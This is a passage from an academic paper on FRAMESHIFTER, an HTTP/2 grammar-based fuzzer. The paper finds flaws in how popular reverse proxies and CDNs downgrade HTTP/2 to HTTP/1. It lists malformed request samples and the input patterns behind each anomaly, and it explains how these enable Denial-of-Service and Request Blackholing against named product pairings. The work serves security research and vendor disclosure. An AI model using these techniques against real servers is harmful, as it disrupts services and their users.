and scholarly measurements (e.g., [4, 12, 21, 22]), HTTP/1 is
poised to remain in heavy use.

Contemporary research on HTTP Request Smuggling, Web
Cache Deception, and cache poisoning attacks have already
shown that web security suffers from the complexity of the
HTTP protocol and discrepancies between the behaviors of
server technologies on the traffic path [13,16,21–23]. HTTP/2-
to-HTTP/1 conversion adds more complexity to an already
intricate web protocol, and opens up the possibility of in-
troducing further flawed HTTP processing mechanisms and
non-conformant behavior. In fact, researchers have already
utilized this new attack surface to successfully mount Request
Smuggling attacks against major proxy technologies and the
origin servers they front [18, 19].

In this paper, we present the first analysis of HTTP/2-to-
HTTP/1 conversion flaws within a scientific framework. The
aforementioned prior HTTP/2 research is limited to investi-
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gating basic mangling of a single HTTP/2 frame–the smallest
unit of communication encapsulated within a stream. In con-
trast, we systematically explore ways to manipulate both the
frame sequences and the content therein.2 Specifically, we
aim to answer the following research questions.

(Q1) Do frame sequence and content manipulation cause
HTTP/2-to-HTTP/1 conversion anomalies?

(Q2) What manipulation patterns cause conversion anomalies
and why?

(Q3) What attacks are possible by exploiting conversion
anomalies?

To answer these questions, we develop FRAMESHIFTER,
a grammar-based fuzzer for HTTP/2. FRAMESHIFTER lever-
ages an input grammar to generate valid HTTP/2 frame se-
quences, and then applies sequence and content mutations.
We use FRAMESHIFTER to exercise 12 popular technologies
including 8 stand-alone proxies and 4 CDNs. We then capture
the resulting HTTP/1 requests forwarded by these proxies and
check for anomalies.

Our experiment reveals a myriad conversion anomalies
caused by these prominent technologies. We categorize our
findings and test samples for real-world attacks in our exper-
iment infrastructure. We successfully execute damaging at-
tacks such as Request Blackholing, Denial-of-Service, Query-
of-Death, and Request Smuggling.

We summarize our contributions below.

• We introduce FRAMESHIFTER, a grammar-based fuzzer
for HTTP/2.

• We present a systematic and holistic approach to study
HTTP protocol conversion anomalies.

• We discover novel attack vectors on HTTP/2 conversions
and provide insights into why they happen.

• We demonstrate successful attacks and coordinate miti-
gations with the impacted technology vendors.

Availability. FRAMESHIFTER is open source and available
online [15].

2 Background and Related Work

In this section, we give an overview of the HTTP/2 protocol,
HTTP/2-to-HTTP/1 conversions, HTTP/1 chunked encoding,
grammar-based fuzz testing, and notable related works.

2.1 HTTP/2 Protocol
HTTP/1 suffers from major performance issues such as head-
of-line blocking and packet bloat due to having to repeat head-
ers for each request-response exchange. HTTP/2 addresses

2We provide a refresher on the HTTP/2 protocol in Section 2.

these issues within the protocol. It uses request and response
multiplexing, header compression, and has explicit support
for request prioritization and server push. It does all this with-
out altering the underlying semantics of HTTP, but instead by
redesigning how the data is formatted and transferred.

The new protocol achieves these advantages by introduc-
ing new primitives. Request-response pairs are encapsulated
within a stream. Each stream has a unique identifier, and pack-
ets from different streams can be interleaved, transferred over
a single TCP connection.

Streams are made up of sequences of frames. A frame
is the smallest unit in the protocol. To illustrate, Listing 1
shows a stream with three frames containing a POST request
with the message hello, world! sent to the /echo endpoint
on echo.com. In this example, the HEADERS frame carries
a set of header fields which are later supplemented by the
following CONTINUATION frame. The CONTINUATION frame
has the END_HEADERS flag set, indicating no more headers will
follow. The DATA frame at the end of the sequence contains
the entire message body.

There are many other types of HTTP/2 frames. A short
description for each per the HTTP/2 specification [3] is below.

DATA: Carries a request or a response body.
HEADERS: Carries header fields of a request or a response.
PRIORITY: Specifies the priority of a stream and its depen-
dency on another stream.
RST_STREAM: Terminates the stream.
SETTINGS: Conveys information about preferences and
constraints of the sender.
PUSH_PROMISE: Notifies the peer endpoint about streams it
intends to initiate in the future.
PING: Measures round-trip time and checks if an idle
connection is still functional.
GOAWAY: Shuts down a connection.
WINDOW_UPDATE: Implements flow control.
CONTINUATION: Continues a sequence of header fields.

2.2 HTTP/2-to-HTTP/1 Conversion

HTTP/2 is the most widely used HTTP version by clients
today. A 7M-site measurement using the Chrome browser,
done by the HTTP Archive in 2020, showed that 64% of
requests use HTTP/2 [10].

HEADERS
:method = POST
:path = /echo
.

CONTINUATION
+ END_HEADERS
:scheme = https
host = echo.com

DATA
+ END_STREAM
hello, world!
.

Listing 1: POST request in HTTP/2.
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Yet, these requests mainly originate from end users. Re-
verse proxies almost always downgrade HTTP/2 to HTTP/1
when forwarding requests as shown in Figure 1. For instance,
the HTTP/2 request in Listing 1 will be converted into a
HTTP/1 request like those shown in Listing 2.

Reverse proxies perform this conversion for many reasons,
reportedly to support legacy tools that only work on HTTP/1
and to make optimization decisions. Most notably, they see
little to no performance benefit in using HTTP/2 for last-mile
connections [6].

When investigating ten of the most popular reverse proxies,
we found only one that supported HTTP/2 connections to
origins, and not by default. Recent work corroborated that
CDN servers only support HTTP/2 with connections to clients,
and not to origins [13].

2.3 HTTP/1 Chunked Encoding

HTTP/1 supports various ways to encode a request body [7].
One of these is the chunked encoding. Chunked encoding is
especially useful when the size of the data to be transferred is
not known in advance.

Listing 2 shows the same request in two different body
formats. The body of the request on the left is not encoded,
whereas the one on the right is chunk encoded–the "hello,
world!" message is sent in two chunks. Each chunk consists
of a chunk-size (e.g., 7) and chunk-data (e.g., "hello, "). The
final zero-sized chunk indicates the end of the chunked body.

2.4 Grammar-Based Fuzz Testing

Grammar-based fuzzing is commonly used for testing pro-
grams with a complex input structure.

One of the most popular choices for describing an input
language is a context-free grammar (CFG) [25]. A CFG has
four components: a start symbol, non-terminal symbols, termi-
nal symbols, and production rules. The start symbol is where
the expansion of a CFG begins. In Listing 3, the start sym-
bol is denoted by <start>. Symbols surrounded by <> are
non-terminals, meaning they are expanded before the input is
fully generated. For example, <sequence> is expanded to a

POST /echo HTTP/1.1
Host: echo.com
content-length: 13
.
hello, world!

.

POST / HTTP/1.1
Host: echo.com
transfer-encoding:chunked
.
7
hello,
6
world!
0

Listing 2: Requests with a regular and chunked body.

HTTP/2 
Reverse Proxy

Upstream 
Server

HTTP/2 HTTP/1

HTTP/1HTTP/2

Figure 1: HTTP/2 is used only between end users and HTTP/2
servers. Usually, HTTP/1 is used when sending requests to the up-
stream servers.

sequence of other non-terminal symbols, whereas, <method>
can be expanded into multiple terminal strings. Finally, pro-
duction rules define how symbols are expanded. Each line in
Listing 3 is a production rule.

Grammar-based fuzzing has been widely used by re-
searchers and industry to uncover bugs in all sorts of programs
including language compilers and interpreters [14, 24], and
even web browsers [9].

FRAMESHIFTER combines grammar-based fuzzing with
mutation-based fuzzing to exercise HTTP/2 processors. Pre-
vious research has also adopted similar approaches, for ex-
ample, Aschermann et al. to find bugs in interpreters [1], and
Jabiyev et al. to discover discrepancies between HTTP pro-
cessors [16].

2.5 Related Work
Even though HTTP/2 is commonplace, security research fo-
cusing on this protocol is still relatively limited.

The most closely related work to ours focuses on exploiting
the HTTP/2-to-HTTP/1 request conversion for HTTP Request
Smuggling (HRS) [18,19]. The key insights researchers lever-
aged are that HTTP/2 does not require a content-length
and forbids chunked transfer-encoding, and that header
fields are not separated by a CRLF in HTTP/2. When these vec-
tors are exploited attackers can smuggle a request following a
doctored request.

Guo et al. found two Denial-of-Service attacks by abusing
HTTP/2 conversion features on CDN servers [13]. The first
attack relies on the HPACK mechanism of HTTP/2 where
repeated header fields are saved in a table and transmitted
as an index to save bandwidth. The second takes advantage
of the fact that some CDN servers forward POST requests as
soon as request headers are processed, without waiting for the

<start> ::= <sequence>
<sequence> ::= <headers><data> | <headers>
<headers> ::= <method><path><host>
<method> ::= :method=GET | :method=POST
<path> ::= /echo
<host> ::= echo.com
<data> ::= hello,world! | bye,world!

Listing 3: Example CFG for an HTTP/2 frame sequence.
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request body to arrive.
Other academic research has instead focused attacking

HTTP/2 directly, and not on the conversion between different
protocols. Notably, Goethem et al. studied HTTP/2 stream
concurrency and potential timing side-channels [11].

3 Scope and Definitions

3.1 Investigation Scope
We study abnormal HTTP/2-to-HTTP/1 conversions with a
focus on headers and frames that affect the request body
(i.e., content-length and transfer-encoding headers).
The relation between those headers and the request body are
within our scope as well. As discussed earlier, there have
been many attacks focused on these parts of HTTP requests,
warranting their focus for our study [5, 17].

Additionally, we limit the frame sequences used in our ex-
periments to a single stream in order to simplify analysis. We
choose to only study HTTP/2 servers that have the capability
to be run as a reverse proxy. Reverse proxies are the only
servers that do the protocol conversion of interest to us.

3.2 Abnormal Conversions
We define the HTTP/2-to-HTTP/1 conversion as normal if it
meets these conditions:

• One HTTP/1 request is generated from a stream.

• If the generated HTTP/1 request has a body, either
a content-length header is present with a numeric
value equal to the length of the body, or the request has
a transfer-encoding: chunked header and the body
follows the proper chunked format.

The failure to meet these conditions signals the presence
of a body-related anomaly and makes the conversion an ab-
normal conversion.

4 FRAMESHIFTER

We develop a grammar-based HTTP/2 fuzzer called
FRAMESHIFTER, named after a DNA mutation called
"frameshift mutations." Our tool has two main capabilities:
1) generating inputs from a grammar, and 2) mutating the
generated inputs.

4.1 Generating HTTP/2 Frame Sequences
FRAMESHIFTER uses an input grammar to generate HTTP/2
frame sequences. The input grammar defines the content of
each frame type, as well as their combination.

For each production rule in the grammar, a list of options
can be specified. To illustrate this, the example grammar

shown in Listing 3 (line 2) can generate a sequence with a
single HEADERS frame, or a sequence with one HEADERS and
one DATA frame.

Because there are many options specified in the grammar,
FRAMESHIFTER uses a random number generator to seed the
sequence creation. For options that are more of interest, pref-
erences can be codified into the grammar allowing for options
to be selected on a user-specified probability distribution.

4.2 Mutating HTTP/2 Frame Sequences

After FRAMESHIFTER generates an input sequence from a
grammar, it then makes mutations. FRAMESHIFTER supports
two types of mutations: 1) frame sequence mutations and 2)
frame content mutations.

4.2.1 Frame Sequence Mutations

The tool can be configured to apply any number of muta-
tions to a sequence by adding a grammar-defined frame to a
grammar-built sequence at a random position (i.e., insertion
or replacement), or by removing a frame at a random position
from the sequence (i.e., deletion). For example, Listing 4 (left
side) shows an example where GOAWAY and CONTINUATION
frames are inserted at random positions into a sequence of a
HEADERS and DATA stream.

FRAMESHIFTER allows for the specification of probability
distributions for both types of mutation operators. For exam-
ple, in Listing 5, line 13, “insert_symbol” has a 90% selection
probability. Frame types can have their selection probabilities
specified as well, for instance, as shown in Listing 5, line 5.

4.2.2 Frame Content Mutations

Frame sequence mutations can be accompanied by any num-
ber of frame content mutations. Figure 4 (right side) shows an
example where the dash in content-length is replaced by
an underscore, the last letter of the header name is removed,
and a semicolon is added after the value.

FRAMESHIFTER mutates only those fields which are
marked as mutable in the configuration file (see line 9 in
Listing 5). For insertion and replacement operations, a char-
acter is chosen from a pool specified in the configuration, an
example of which is on line 2 of Listing 5. Also, a probabil-
ity distribution can be specified for both mutation operations

CONT.

HEADERS GOAWAY

DATA

HEADERS
:method = POST
:path = /echo

content _ lengt h : 5 ;
.

Listing 4: Example FRAMESHIFTER mutations.
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1 # Character pool for insertion/replacement
2 config.char_pool = [(\x01, opts(prob=0.2)), \x02,

\x03, \x04, \x05, \x06, \x07, \x08, \t, \n, ...]↪→

3

4 # Symbol pool for insertion/replacement
5 config.symbol_pool = [(<headers-1>, opts(prob=0.25)),

(<continuation-1>, opts(prob=0.25)), (<data-1>,
opts(prob=0.25)), <goaway-1>, <settings-1>,
<ping-1>, ...]

↪→

↪→

↪→

6

7 # List of mutable symbols and their allowed
8 # mutation types (sequence: 0, content: 1)
9 config.symbol_mutation_types = {<sequence>: 0,

<headers-1-content-length-header-name>: 1,
<headers-1-content-length-header-value>: 1,
<headers-1-transfer-encoding-header-name>: 1,
...}

↪→

↪→

↪→

↪→

10

11 # Mutation operators
12 config.sequence_mutators =
13 [(insert_symbol, opts(prob=0.9)), remove_symbol]
14 config.content_mutators =
15 [(insert_char, opts(prob=0.9)), remove_char]

Listing 5: Excerpt from a configuration file showing a character pool,
a symbol pool, and a list of mutable elements and mutators.

and characters in the character pool (see lines 2 and 15 of
Listing 5).

5 Experiments

To understand abnormal HTTP/2-to-HTTP/1 conversions, we
conduct two experiments, each with identical configurations,
with differing mutations. Table 1 shows general information
about both experiments.

5.1 Experimental Setup
Figure 2 shows an overview of the experiment setup. First,
an input grammar is determined from which a random base
frame sequence is generated. Then the base frame sequence is
mutated randomly based on the seed number. Finally, the mu-
tated frame sequence is sent to all HTTP/2 servers in our lab
setup, which converts the sequence into an HTTP/1 request.
This request is forwarded to a listener server, and ultimately
saved to a log file for later analysis.

Table 1: Experiment overview.

Name Duration # Inputs Mutation Types

ONLY-SEQ 15 hours 2,580,000 frame sequence
SEQ-CON 54 hours 6,690,000 frame sequence and content

HTTP/2 
inputs

Mutated 
Inputs

generating 
inputs

mutating 
inputs

Log Files

Input 
Grammar

sending
inputs

storing
 requests HTTP/2 

Server
TCP Socket 

Server

forwarding 
HTTP/1 requests

Figure 2: HTTP/2 frame sequences are generated from a grammar,
mutated, and sent to the tested server. The TCP socket server receives
forwarded requests by the tested server and saves them to log files
for later analysis.

We test 12 popular HTTP/2 reverse proxies, including 4
CDNs, using the latest versions available at the time of our
experiment. Table 2 details the servers and their versions.

5.2 ONLY-SEQ Experiment
In this experiment, only frame sequence mutations are applied
on the HTTP/2 base frame sequences.

During the input generation phase, only semantically valid
frame sequences are generated as Listing 6 describes. All
sequences are equivalent to a simple HTTP/1 POST request
with a body, made up of HEADERS, CONTINUATION and DATA
frames (one or two from each) coming together to form the
HTTP/2 base sequence.

We apply a random number of sequence mutations (in the
range of 1 to 4) for each input. Deletion operations easily
destroy valid base sequences resulting in more server errors;
thus we weigh insertion operations at 90%.

The pool from which a new frame is chosen for insertion
contains all ten types of frames defined by the HTTP/2 spec-
ification. We set the probability distribution to select one
of the following frame types 75% of the time: 1) HEADERS
2) CONTINUATION and 3) DATA. These frames are the most

Table 2: Tested HTTP/2 servers and versions.

HTTP/2 Server Tested Version

Apache 2.4.51
NGINX 1.21.3
Caddy 2.4.5
Apache Traffic Server (ATS) 9.1.0
HAProxy 2.5-dev10
Varnish 7.0.0
Traefik 2.5.3
Envoy 1.20.0
Akamai N/A
Cloudflare N/A
CloudFront N/A
Fastly N/A
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<start> ::= <base-sequence>
<base-sequence> ::= <headers><data> |

<headers><data><data> |
<headers><cont><data> |
<headers><cont><data><data> |
<headers><cont><cont><data> |
<headers><cont><cont><data><data>

↪→

↪→

↪→

↪→

↪→

Listing 6: Partial grammar showing the possible base sequences.

relevant when it comes to determining the request body.
Unlike the frames in the base sequence, HEADERS

and CONTINUATION frames in the pool have either
content-length or transfer-encoding as one of their
headers, and multiple options for method names. This also
applies to the PUSH_PROMISE frame as it can carry headers.
The relevant part of the input grammar is shown in Listing 7.
The reason for including additional headers and methods is
that they usually have an impact on the request body of the
HTTP/1 requests.

Finally, all frames in the pool have been made to support all
flags (END_HEADERS, END_STREAM, PADDED and PRIORITY)
by overwriting the underlying HTTP/2 code library. However,
native flags have higher precedence during input generation.
The point of building frames with different flag sets is to
confuse the stream parsing of the target server.

While base sequences are semantically correct, mu-
tated input sequences are usually not because of the
transfer-encoding header and unsupported flags added to
frames. However, they are still syntactically valid, and there-
fore they should not cause any frame parsing errors on reverse
proxies.

5.3 SEQ-CON Experiment

In this experiment, in addition to frame sequence mutations,
frame content mutations are also applied on individual frames.
The maximum number for both sequence and content muta-
tions is 2. Thus, the total maximum mutations are capped at
4, the same as the previous experiment.

Content mutations are defined by adding special characters–
ASCII characters excluding alphanumeric characters–only
at the beginning and end of the content-length and
transfer-encoding header names and values, and the re-
quest method. These choices are based on the insights of past
research that shows these mutations are critical in request
body parsing [16, 17].

5.4 Input Coverage

We explore a random sample of 50,000 inputs for both
ONLY-SEQ and SEQ-CON experiments, 100,000 in total, in
order to illuminate the main characteristics of inputs that

<method-name> ::= POST | GET | HEAD | OPTIONS |
TRACE | PUT | DELETE | CONNECT↪→

(..truncated..)
<len-header> ::= <tenc-header> | <clen-header>
<tenc-header> ::= <tenc-name><tenc-value>
<tenc-name> ::= transfer-encoding
<tenc-value> ::= chunked | identity
<clen-header> ::= <clen-name><clen-value>
<clen-name> ::= content-length
<clen-value> ::= 5 | 10 | 15 | 20

Listing 7: Partial grammar for the added HEADERS-like frame types.

FRAMESHIFTER creates and tests. We analyze a random sam-
ple due to computational constraints, yet we argue that it still
provides insight into the coverage of our inputs. Figure 3 de-
picts the distributions for the main characteristics of a request
across the input sample. For instance, the "flags" distribution
shows that roughly 80% of sample input sequences consist of
combinations of only END_STREAM and END_HEADERS, while
15% contain other flag types (i.e., PRIORITY, PADDED and
ACK). The rest contain either END_STREAM or END_HEADERS
flags exclusively.

We also use this sample to shed light on the details of
mutations done by the fuzzer in ONLY-SEQ and SEQ-CON ex-
periments. Table 3 shows what mutation operators are applied
on what elements with what frequency. For instance, while
in 29.4% of sample input sequences a characer is inserted
in the content-length header, in 95.8% of them a frame is
inserted into the input sequence.

6 Findings

After completing the experiments as previously detailed, we
remove normal conversions per our definition, and analyze
all remaining requests in our log for anomalies. We addi-
tionally investigate the originating HTTP/2 input sequences
responsible for said anomalies, and report that below. Since
the observed anomalies for both the ONLY-SEQ and SEQ-CON
experiments overlap considerably, we report them together.

6.1 Conversion Anomalies
We determine 10 types of conversion anomalies and describe
them in detail below.

6.1.1 Incomplete Content-Length Without Body

In this category of abnormal conversions, we observe a
content-length value in the generated HTTP/1 request that
is larger than zero yet the request has no body. According to
section 3.4 of RFC 7230, if the size of the request body is
less than the value given by content-length, the request is
incomplete [7]. An example is shown in Listing 8 (left side).
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Figure 3: The distribution of sequence lengths (i.e., number of
frames), frame types, body length headers (i.e., content-length
and transfer-encoding), HTTP methods and flags (e.g.,
END_STREAM) across the input sample.

6.1.2 Incomplete Content-Length With Body

This anomaly category is very similar to the previous one.
The only difference is that the generated HTTP/1 request
has a body, but its length is less than the content-length
value (Listing 8, right side). We separate this category from
the previous to allow for the different applications of attacks
described later. For example, controlling the request body is
often vital for HRS attacks.

6.1.3 Missing Last Chunk

Just like the previous two categories, requests that fall into
the "Missing Last Chunk" category are also incomplete. As
shown in Listing 9 (left side), the generated request has a
transfer-encoding and a chunked request body. Yet, it is
missing the last chunk which signals the termination of chun-
ked body. According to section 3.4 of RFC 7230, chunked
request body is incomplete if the zero-sized chunk (i.e, last
chunk) is missing [7].

6.1.4 Missing Chunk Data Termination

In this category, the generated HTTP/1 request lacks not just
the last chunk, but also the terminating CRLF that signals the
end of the chunk data. transfer-encoding is present in the
request and the body is chunked. An example for this category
is the same as the one shown in Listing 9 (left side), except
that the CRLF in the very end of the body is missing.

POST / HTTP/1.1
content-length: 10

.

POST / HTTP/1.1
content-length: 10

BBBBB

Listing 8: Requests with incomplete bodies.

Table 3: Frequency of mutation operations (the third column does
not sum to 100% as multiple mutation operations can be applied on
a single input).

Mutation Operator Mutated Element % Inputs

insert_symbol sequence 95.8

remove_symbol sequence 18.5

content-length 29.4
insert_character transfer-encoding 10.1

HTTP method 12.9

6.1.5 Missing Chunk Data

As the example in Listing 9 (right side) shows, even though
chunk-size is present, chunk-data, chunk-data termination,
and the last chunk are all missing. Similar to the previous
two categories, this category can be classified under incom-
plete transfer-encoding requests. The reason for treating
them separately, is again their significance from an attack
perspective.

6.1.6 Invalid Header Value

This category refers to requests with an invalid
content-length. As an example, Listing 10 (left side)
shows a non-numeric value given by the content-length.
In section 3.3.3 of RFC 7230, it is stated that a recipient
must respond with a 400 (Bad Request) status code to
a request with a content-length header field having an
invalid value [7], yet the reverse proxy performs the protocol
downgrade anyway.

6.1.7 Invalid Header Termination

In this category, generated requests have a content-length
header which is terminated by a single LF instead of CRLF.
According to section 3.5 in RFC 7230, the terminator for
header fields is the CRLF [7] sequence. Even though the same
specification also states that a recipient may recognize a single
LF as a terminator, some HTTP servers do not. For example,
Apache HTTP server responds with a 400 (Bad Request)
status code to a request with a content-length terminated
by a LF.

POST / HTTP/1.1
transfer-encoding:chunked
.
5\r\nBBBBB\r\n

POST / HTTP/1.1
transfer-encoding:chunked
.
5\r\n

Listing 9: Requests with incomplete chunked bodies.
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POST / HTTP/1.1
content-length: 5&
.
BBBBB
.

POST / HTTP/1.1
content-length: 5
content-length: 10
.
BBBBB

Listing 10: Requests with content-length anomalies.

6.1.8 Repeating Header Name

In this category, generated requests have two
content-length headers with different values. List-
ing 10 (right side) shows an example for this category.
According to section 3.3.3 of RFC 7230, a request with
multiple content-length header fields having differing
values must be treated as an error and the recipient must
respond with a 400 (Bad Request) status code [7]. Yet, in
our experiments we still observe reverse proxies forwarding
these requests.

6.1.9 Repeating Header Value

"Header value" refers to the chunked value of
transfer-encoding. The requests of this category
have a transfer-encoding header with two or more
chunked values (i.e., transfer-encoding: chunked,
chunked). While RFC 7230 allows multiple transfer
coding values in the transfer-encoding (for example,
transfer-encoding: gzip, chunked, to signal that
chunked and gzip encodings have been applied to the
request body), section 3.3.1 of the same specification states
that a sender must not apply chunked more than once to a
request body [7].

6.1.10 Multiple Forwarded Requests

In this category of abnormal conversions, multiple HTTP/1
requests are generated as a result of the conversion. In our
experiments, all the frames in the input frame sequence are
contained within a single stream (i.e., the stream identifier
is 1 for all frames), only a single HTTP/1 request should
be generated. In fact, section 2 of RFC 7540 says that each
HTTP request/response exchange is associated with its own
stream [3].

6.2 Input Categories

We categorize all HTTP/2 inputs that cause the conversion
anomalies discussed above in this section. All of these input
categories along with the conversion anomalies they cause
are shown in Figure 4.

6.2.1 Missing END_STREAM

This category of inputs creates an anomaly where the gener-
ated HTTP/1 request is incomplete. This category affects all
servers except for Apache, NGINX, and Cloudflare.

For most of the affected servers the input sequence does
not have an END_STREAM flag. CloudFront is the only server
that has slightly different behavior. If the first frames are of
DATA type and carry the END_STREAM flag, CloudFront ignores
those frames and considers just the frames that follow.

When the END_STREAM is missing, the reverse proxy simply
rushes to forward the request assuming that the stream is not
finished yet and more is to come.

6.2.2 No Mismatch Check

Similar to the previous category, inputs in this group force
Caddy and Traefik to forward an incomplete request.

For valid streams with an END_STREAM flag, these servers
do not check for a match between a larger content-length
and the smaller number of bytes it receives in DATA frames.
As a result, they generate and forward a request where
content-length value does not match the length of the
body.

6.2.3 HEADERS After END_HEADERS

This input category also creates abnormal conversions where
the generated request is incomplete. For Caddy, ATS, Varnish,
Traefik, and Fastly, when a HEADERS frame follows another
HEADERS frame bearing the END_HEADERS flag, this anomaly
happens. The reverse proxy halts the stream processing once
it encounters this pattern (i.e., a HEADERS frame after the
END_HEADERS) and forwards the request as it stands.

6.2.4 Only First DATA

This is the last input category that generates incomplete re-
quests and it affects ATS, Envoy Proxy, and Fastly. When
the payload of a DATA frame creates a mismatch between
the overall payload size and the content-length value, the
proxy halts the stream processing and forwards the request
as it stands (i.e., until the DATA frame which creates the mis-
match).

6.2.5 No Mutation Filter

Inputs that fit into this category result in HTTP/1 requests
where either the header value or the header termination is
invalid. Unsurprisingly, the HTTP/2 input has some non-
alphanumeric ASCII character added to the content-length
value in a HEADERS frame.

ATS, Varnish, and Akamai all seem to have insufficient
filtering for non-alphanumeric characters. For example, ATS
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Figure 4: Input categories causing conversion anomalies.

does not filter \n from the input, but Varnish and Aka-
mai do. The preservation of \n by ATS results in an
HTTP/1 request having a content-length with no value
or a content-length with an invalid termination.

6.2.6 No Duplicate Check

Requests resulting from inputs in this category contain more
than one content-length header. The only server this af-
fects is Varnish because they do not check for duplicate
content-length headers and blindly add them to the gener-
ated request.

6.2.7 GET Method with DATA

This input category only contains the sequences with a
HEADERS frame with the GET method followed by a DATA
frame containing data. We see this pattern in input sequences
that cause ATS to forward multiple requests. The same behav-
ior is observed when the method is HEAD or OPTIONS instead
of GET.

6.2.8 TRACE with POST

This is another category that makes ATS generate multiple
forwarded requests. The input sequences in this category
have two consecutive HEADERS frames. The first HEADERS
frame has the TRACE method with the END_HEADERS flag
set. The second HEADERS frame has the POST method with
END_HEADERS set again. These two HEADERS frames are fol-
lowed by a DATA frame.

6.3 Causes of Anomalies
In this section, we seek to clarify the causes of anomalies in
light of direct correspondence with vendors.

6.3.1 Mode of Operation

Reverse proxies have two modes of operation: buffering and
streaming. In buffering mode, a proxy waits for the entire
client request to complete before forwarding it to the upstream
service. In streaming mode, a proxy eagerly transmits requests
without waiting for their completion for the sake of memory
efficiency and speed.

We observe this in our experiments, particularly on inputs
missing END_STREAM (i.e., Section 6.2.1). Conversion anoma-
lies listed in Section 6.1.1-6.1.5 (i.e., those creating incom-
plete requests) can be partly attributed to the streaming mode
of reverse proxies forwarding incomplete requests once they
receive the END_HEADERS flag. Specifically, Akamai, Cloud-
Front, Fastly, Caddy, ATS, HAProxy, Varnish, Traefik, and
Envoy Proxy run in streaming mode by default, resulting in
their prevalence in Figure 4.

6.3.2 Error Handling

In addition to mode of operation, the way in which re-
verse proxies handle errors in an input stream contribute to
the anomalies discussed in Section 6.1.1-6.1.5. Input pat-
terns discussed in Section 6.2.2-6.2.4 (i.e., "No Mismatch
Check", "HEADERS After END_HEADERS" and "Only
First DATA") typically trigger an error during stream pro-
cessing and are handled one of two ways. Reverse proxies
can choose to forward the request to the upstream server and
close the connection shortly after to signal the error, or they
can send an error response to the client and refrain from for-
warding a request. When reverse proxies choose to forward
the request followed by closing the connection, we find the
aforementioned anomalies.

For instance, Caddy and Traefik react to inputs contain-
ing a mismatch between content-length value and data
payload size with an error. As a result, shortly after those re-
verse proxies forward a request, they close the connection
carrying that request by sending a FIN packet. Similarly,
ATS raises an error when inputs have the "HEADERS After
END_HEADERS" pattern and forwards the request. Fastly
and ATS also raise an error for inputs in the "Only First
DATA" category and forward requests.

6.3.3 Insufficient Validation

Conversion anomalies listed in Section 6.1.6-6.1.8 can be
explained by insufficient validation. There are some cases
where irrelevant characters are allowed to be added to sensi-
tive parts of a request (e.g., content-length value or the end
of a header field). In other cases, there is simply no check in
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place to prevent duplicate headers with different values. To be
more specific, while Varnish does not prevent the presence of
two content-length header fields with differing values in a
forwarded request, Akamai, ATS, and Varnish allow irrelevant
characters.

6.3.4 Faulty Retrying

Conversion anomalies listed in Section 6.1.9-6.1.10 can be
attributed to faulty behavior of ATS. Specifically, when ATS
encounters an input like those explained in Section 6.2.7-6.2.8
(i.e., "GET Method with DATA" and "TRACE with POST"),
it triggers an error and forwards the request along but fails to
close the connection due to a confirmed bug.

As a result, the connection is kept open and it does not
receive a response to the forwarded incomplete request. ATS
keeps retrying hoping for a response to send back to its client.
It also adds "chunked" value to the transfer-encoding in
the request in each retry because of another confirmed bug.

7 Attacks

To understand whether our identified HTTP/2-to-HTTP/1 con-
version anomalies can be abused, we come up with a list of at-
tacks that can possibly be created by each conversion anomaly.
We then test each of these attacks on every possible reverse
proxy and origin server pair in a lab environment. We ex-
clude pairs where the reverse proxy is a non-CDN server (e.g.,
Apache) and a CDN server is upstream (e.g., Akamai), since
they are not likely to be deployed in that order in practice.

During our tests, we run a web application on the origin
to help us better understand the effects of each attack. We
deploy the application directly to the upstream server unless
we are testing a pair where the origin is unable to run as a
web server.

7.1 Denial-of-Service
The Denial-of-Service (DoS) attack we test for is one in which
a mutated frame sequence causes the reverse proxy to send an
HTTP/1 request with an incomplete body. The origin server
then waits, expecting the remaining data until a timeout oc-
curs. When a new request then arrives at the reverse proxy, it
cannot be forwarded to the origin because all persistent con-
nections are exhausted, and so the request cannot be processed
in a timely manner.

To test for DoS, we use the following configuration. For
each reverse proxy, we compile every mutated frame sequence
that resulted in any of the following anomalies: "incomplete
content-length with body", "incomplete content-length with-
out body", "missing last chunk," "missing chunk data termina-
tion," and "missing chunk data." We choose these anomalies
because each of them results in HTTP/1 requests that are miss-
ing data. The intuition is that if an origin server is vulnerable

to a DoS attack, it will hang while waiting for the rest of the
data to arrive.

When the reverse proxy is not a CDN, we configure it to
use just one persistent connection to the upstream server. This
simplifies the attack detection process, as we do not have to
consider the possibility of an attack not working just because
a request was processed on a different connection. We later
confirm that our detected attacks work with a larger number
of persistent connections.

Then, we send the mutated frame sequences one at a time,
and send a normal frame sequence like the one in Listing 1
between each mutated frame sequence. This way, if an error
occurs in the handling of a normal sequence, then we know
that the previous sequence interfered in some way. We wait
for a response to arrive or time out after five seconds before
sending the next sequence.

When the reverse proxy is a CDN, we do not have control
over the number of persistent connections. In these cases, we
send the mutated sequences in batches of 50 at a time to the
CDN, and send 50 normal sequences in parallel after that. In
doing this, we hope that if a mutated sequence would enable
an attack, either one of the other mutated sequences or one of
the normal sequences would be forwarded on the same port
and would be interfered with, allowing us to detect the attack.

While sending the sequences, we collect all TCP traffic
between the reverse proxy and the upstream server. Because
CDNs may forward HTTP/1 requests strictly over HTTPS,
rendering inspection of the traffic useless, we additionally
collect the access logs on the upstream server to understand
what requests arrived and how the server processed them.

For all reverse proxy and upstream server pairs, we note
that normal frame sequences return very quickly, consistently
within a fraction of a second. To detect a DoS attack, we flag
any mutated frame sequences which take multiple seconds to
receive a response or that time out.

To confirm the DoS, we send these flagged sequences and
then immediately send a normal sequence without waiting
for a response from the first. In the case of CDNs, we send a
batch of 256 of the sequences in parallel followed by a single
normal sequence. If the normal sequence also takes several
seconds to return, then we say that DoS is possible.

As shown in Figure 5, we find that a DoS attack is possible
on every upstream server when Caddy, HAProxy, or Envoy
Proxy is the reverse proxy, and that the attack is created by
anomalies "incomplete content-length with body," "incom-
plete content-length without body," and "missing last chunk."
We additionally find that DoS is possible when Akamai is
the reverse proxy and Apache is the upstream server, and is
created by all five types of anomalies.

For all affected pairs, an attacker can repeatedly send the
mutated frame sequences to make all persistent connections
to the origin unresponsive until a timeout occurs between
the reverse proxy and origin. Only when this timeout occurs
will requests that arrived during this period be served. As
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the attacker cannot control this timeout value, an attacker
likely cannot completely bring down the reverse proxy, but
can drastically reduce its throughput depending on how long
the timeout duration is.

7.2 Request Blackholing

Another attack type we test for is a Request Blackholing
attack. In Request Blackholing, a mutated frame sequence
causes the reverse proxy to send an HTTP/1 request with
an incomplete body. Instead of the connection between the
reverse proxy and origin hanging like in the DoS attack, sub-
sequent forwarded requests here are interpreted as part of the
body of the mutated sequence and are never processed cor-
rectly by the origin. These requests that are never processed
are considered "blackholed."

To test for Request Blackholing, we use the same configura-
